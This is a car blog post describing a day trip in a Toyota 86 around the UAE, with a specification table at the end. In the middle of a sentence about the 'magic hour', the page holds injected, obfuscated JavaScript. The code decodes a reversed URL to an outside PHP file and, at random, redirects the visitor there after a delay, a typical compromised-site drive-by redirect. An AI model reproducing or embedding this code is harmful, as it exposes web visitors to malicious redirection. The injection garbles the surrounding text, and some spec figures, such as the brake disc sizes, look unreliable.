Toyota 86. Dubai, UAE. Life with a Game Changer

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Time for beach stop number two. The boys by this stage were out of batteries (Nintendo dead) and itching to get back outside to investigate. So with the sun falling into its glorious ‘$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/bmw-6-series-new-gran-coupe-magic-hour/” target=”_blank”>magic hour‘ phase, we parked up for some play time. While the family played on the beach I fended off the locals that were more than a bit keen to have a good sneak around the little Toyota. Although there were plenty of dealers en-route, none had the 86 on their forecourt. A rarity over on the east coast then, even though the love of JDM runs stronger here than in most areas of the Middle East.

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Beach time over, sand cleaned off our bodies and the border cleared on the way back, it was time to hit the mountain roads and head for home.

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A couple more shots were required before the sun dropped away into the hazy Middle Eastern horizon. A sneaky stop off on the truck road (not a recommended road if you value your life) led us to this spot. Just on the edge of a camel farm with some of the most friendly locals in attendance I’ve had the pleasure of meeting.

As my wife (and skilled photography for the day) Emma snapped away, I had time to look back at the day and the winning/failings of the car. Yes, for a short period in time, you can use the Toyota 86 as a family hack. The boot, all be it small, was happy to swallow the required tools for the day, not to mention all the shopping needed for my youngster’s birthday party the day before. Perhaps more important though is the 86‘s dynamics: the driving characteristics are unmatched, be it in this price segment or those two or three times higher. In fact, I’d happily say that the Japanese marque‘s latest has abilities unmatched by any vehicle out there. For that we must salute Toyota and Subaru for producing something so special.

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Power! I must touch on this subject a little bit before signing off. Okay, it’s a little down on power when you look at it from a raw numbers argument. 0-100kmh will not set the world alight, and while the top speed will be enough to send you to jail, it’s still not that impressive.

But the Toyota 86 is about more than that. Much, much more. If you haven’t driven one (or are a nay-sayer), you simply must hop behind the wheel. Believe me when I say that this car truly is a driver’s car, and one that delivers in (buckets and) spades.

Toyota 86
Engine: Flat 4-cyl / 1998cc / 2.0-litre
Power: 197bhp @ 7000rpm
Torque: 151lb-ft @6400-6600rpm
Transmission: six-speed manual / rear-wheel drive / ESP
Front suspension: MacPherson struts / coil springs /adaptive dampers / anti-roll bar
Rear suspension: Double wishbones / coil springs / dampers / anti-roll bar
Brakes: Ventilated discs / 406mm (F) / 381mm (R) / ABS / brake assist
Wheels: 16in front and rear
Tyres: 205/55 R16 front and rear / Yokohama Decibel
Weight (kerb) 1275kg
Power-to-weight: 155bhp/ton
0-100kph: 7.6 sec
Top speed: 226kph
Basic price: $25,865

Categories: Editor’s Picks,Road

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